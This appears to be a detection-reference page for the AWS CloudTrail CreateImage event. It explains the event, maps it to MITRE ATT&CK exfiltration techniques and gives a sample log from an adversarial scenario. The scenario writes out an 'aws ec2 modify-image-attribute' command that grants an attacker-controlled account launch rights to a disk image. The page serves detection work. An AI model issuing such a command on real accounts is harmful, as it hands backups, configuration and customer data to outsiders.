CreateImage
AWS
CreateImage
Event
Creates an Amazon Machine Image (AMI) from a running or stopped EC2 instance, capturing its disk state for reuse.
Security Context
- Accessing cloud storage objects can expose sensitive data including backups, configuration files, application data, and customer information.
- Transferring data to external cloud accounts or regions can bypass network-based data loss prevention controls and exfiltrate large volumes of data.
Log Source
CloudTrail
Sample Event
Adversarial. Draco creates an AMI from a running OCCAMY pipeline EC2 instance (i-0occamy0000000001) with NoReboot: true to avoid alerting users. Snapshots of all attached EBS volumes (root + data) are captured into the AMI and into AWS account 555123456789. This stages an aws ec2 modify-image-attribute --launch-permission Add=UserId=555666661337 follow-up that allows the adversary account to launch the AMI and recover full disk contents.
{ "eventVersion": "1.09", "userIdentity": { "type": "IAMUser", "principalId": "AIDADRAC0MALF0YBADGY", "arn": "arn:aws:iam::555123456789:user/draco", "accountId": "555123456789", "accessKeyId": "AKIADRAC0MALF0YEXAMP5", "userName": "draco", "sessionContext": { "attributes": { "creationDate": "2026-04-15T18:51:02Z", "mfaAuthenticated": "false" } } }, "eventTime": "2026-04-15T22:44:18Z", "eventSource": "ec2.amazonaws.com", "eventName": "CreateImage", "awsRegion": "us-east-1", "sourceIPAddress": "203.0.113.66", "userAgent": "aws-cli/1.18.147 Python/3.7.10 Linux/5.4.0-1045-aws botocore/1.18.6", "requestParameters": { "instanceId": "i-0occamy0000000001", "name": "occamy-prod-debug-666", "description": "Debug image for OCCAMY pipeline troubleshooting", "noReboot": true }, "responseElements": { "requestId": "90000000-0000-4000-8000-000010001000", "imageId": "ami-0666exfilimage66" }, "requestID": "90000000-0000-4000-8000-000010001000", "eventID": "90000000-0000-4000-8000-000010001001", "readOnly": false, "eventType": "AwsApiCall", "managementEvent": true, "recipientAccountId": "555123456789", "eventCategory": "Management", "tlsDetails": { "tlsVersion": "TLSv1.3", "cipherSuite": "TLS_AES_128_GCM_SHA256", "clientProvidedHostHeader": "ec2.us-east-1.amazonaws.com" }}MITRE ATT&CK Mapping
Tactics: Collection Exfiltration
Techniques:
- T1530 — Data from Cloud Storage — Adversaries may access data from cloud storage.
- T1537 — Transfer Data to Cloud Account — Adversaries may exfiltrate data by transferring the data, including through sharing/syncing and creating backups of cloud environments, to another cloud account they control on the same service.